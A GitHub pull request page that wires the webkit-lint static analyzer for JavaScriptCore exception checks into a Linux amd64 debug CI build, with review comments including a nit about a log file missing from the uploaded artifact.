fi(Removing the partial /opt/wklint-linux-x64 on failure keeps the later [ -x ... ] gate honest.) Alternatively, keep hard-fail if you'd rather a bad tag be caught immediately — in that case just ignore this.
…gth in Array.prototype.pop" This reverts commit 25a97b5.
- release.sh: use the ${VAR:+x} idiom so the token never appears in xtrace output.
- Dockerfile: skip the linter (with a hint) when WKLINT_TAG is set but the
secret is not mounted, and extract with `tar -I zstd` for older GNU tar.
- workflow: leave the wklint_tag input empty by default so the WKLINT_TAG
repository variable fallback is reachable; collect results whenever the
linter was invoked (gate on wklint-exit-code, keep wklint-log.txt); and
surface non-0/1 wklint exit codes as a warning so tool errors are visible
without blocking the build during the soft launch.
|
Thanks — went through both reviews. Status against the current tip ( Fixed in 6dbb517
Already fixed by earlier commits (comments were on 42abe86 / ba78a44)
Deferred with reason
|
| name: wklint-findings | ||
| path: | | ||
| ${{runner.temp}}/wklint-findings.json | ||
| ${{runner.temp}}/wklint-report.txt | ||
| if-no-files-found: ignore |
There was a problem hiding this comment.
🟡 nit: 6dbb517 added wklint-log.txt to the cp (line 155) and the tool-error ::warning at line 178 now says "see wklint-log.txt in the wklint-findings artifact" — but this path: list still only uploads wklint-findings.json and wklint-report.txt, so the file the warning points to is copied to runner.temp and then discarded at teardown. The status comment on 6dbb517 says the fix "keeps wklint-log.txt in the artifact", so this looks like the missed second half of that fix; add ${{runner.temp}}/wklint-log.txt here.
Extended reasoning...
What the gap is
Commit 6dbb517 addressed the earlier review comment about wklint-log.txt being captured-then-discarded by (a) adding it to the cp at line 155 and (b) adding a tool-error branch that emits ::warning title=wklint::wklint exited with $exit_code (tool error); see wklint-log.txt in the wklint-findings artifact at line 178. But the actions/upload-artifact step's path: list at lines 201–203 was not updated: it still contains only ${{runner.temp}}/wklint-findings.json and ${{runner.temp}}/wklint-report.txt. So the file the new warning message explicitly directs users to is never actually placed in the wklint-findings artifact.
Code path
The Dockerfile redirects wklint's stderr to /output/wklint-log.txt (2> /output/wklint-log.txt). After buildx --output type=local that becomes bun-webkit/wklint-log.txt. Line 155 now copies it to ${{runner.temp}}/wklint-log.txt alongside the other three outputs, and line 156 deletes the in-tarball copy. Line 179 does tail -40 wklint-log.txt into the step output, so the last 40 lines survive in the job log. But the upload-artifact step that follows (name: wklint-findings) omits it from path:, so when the runner is torn down the full file is gone.
Why the existing code doesn't cover it
The author's own status comment on 6dbb517 says the fix "keeps wklint-log.txt in the artifact", and the ::warning text hard-codes that promise — so this is the incomplete half of an intended fix, not a deliberate omission. Nothing else uploads the log: the only other artifact from this leg is bun-webkit.tar.gz, and line 156's rm -f removes wklint-log.txt from bun-webkit/ before the tar.
Step-by-step
wklint-run.pycrashes (bad expectations YAML, ImportError, segfault) → exit code ≠ 0/1, full Python traceback written to/output/wklint-log.txt.- Line 153 gates on
wklint-exit-code(present) → line 155 copieswklint-log.txttorunner.temp; line 156 removes it frombun-webkit/. - Report step:
exit_codeis e.g.2→ line 178 emits::warning …; see wklint-log.txt in the wklint-findings artifact; line 179 prints the last 40 lines to the step log. - Upload step:
path:=wklint-findings.json+wklint-report.txtonly →wklint-log.txtis not in the uploadedwklint-findingsartifact. - User follows the warning, downloads
wklint-findings, finds nowklint-log.txt. If the traceback is longer than 40 lines, the top (module/line where it originated) is unrecoverable.
Impact / why this is a nit
Only the tool-error path (exit code ∉ {0,1}) references this file, and tail -40 of it is still echoed inline at line 179, so a truncated view survives in the job log. The happy path (exit 0) and findings path (exit 1) don't reference the log at all. Nothing breaks and no build result changes — the only effect is a dangling pointer in a diagnostic message and loss of the full stderr on wklint crashes.
Relationship to the earlier comment
The earlier inline comment on this block described the pre-6dbb517 state (log missing from both the cp and the artifact). 6dbb517 fixed the cp half and the author marked it addressed; this note is the residual half — the artifact path: list — plus the new dangling reference that 6dbb517 itself introduced in the ::warning text.
Fix
Add one line to the path: block:
path: |
${{runner.temp}}/wklint-findings.json
${{runner.temp}}/wklint-report.txt
${{runner.temp}}/wklint-log.txtif-no-files-found: ignore is already set, so this is safe when the linter didn't run.
Preview Builds
|
1 participant
What
Runs webkit-lint— oven-sh's static analyzer for JSC's exception-check protocol (a whole-CFG version of
--validateExceptionChecks, so it also covers paths tests never execute) — as part of the existing JSC build in the Linux amd64 debug job.How it is wired
wklinttarball from oven-sh/webkit-lint whenWKLINT_TAGis set (the token is passed as a BuildKit secret, never echoed). Right after thejsctarget builds,wklint-run.pyanalyzes the JSC unified sources and writeswklint-{findings.json,report.txt,exit-code}into/output. A lint failure never fails the image build.WKLINT_TAGand theWEBKIT_LINT_RELEASE_TOKENsecret intobuildx(no-op when unset).wklint_taginput (falls back to theWKLINT_TAGrepository variable), enabled on the amd64 debug leg only. Findings not covered byTools/wklint/expectations.yamlfail that job and print a summary of what to fix or triage; raw findings are uploaded as an artifact.reason:.To turn it on
WEBKIT_LINT_RELEASE_TOKEN(read access to oven-sh/webkit-lint releases) — already set.WKLINT_TAGdefaults tolatest. Override per run with thewklint_tagworkflow input, or turn it off with the repo variableWKLINT_TAG=off.Without the secret (e.g. fork PRs), the linter is skipped and the build behaves exactly as before.
Verified in this PR's preview builds
Tools/wklint/expectations.yaml→ job green, findings kept as thewklint-findingsartifact.toLengthcall inArray.prototype.pop(now reverted) made the leg go red with exactly that one finding: annotation + job summary + artifact. Job: https://github.com/oven-sh/WebKit/actions/runs/29816239326/job/88588195649bun-webkit-linux-amd64-debugonly (the prebuilt is x86-64); arm64 and the rest are untouched.CI time impact
The lint adds about +12 minutes to the one leg it runs on:
bun-webkit-linux-amd64-debugwith wklintbun-webkit-linux-amd64-debug-asan(same config, no lint)The added time is spent inside the Docker build after
jsclinks (release download + 3 facts rounds + analysis over the JSC unified sources). No other job is affected, so the workflow's wall-clock only grows if this leg becomes the critical path. If that becomes a problem, the linter can be limited to PRs that touchSource/JavaScriptCorein a follow-up.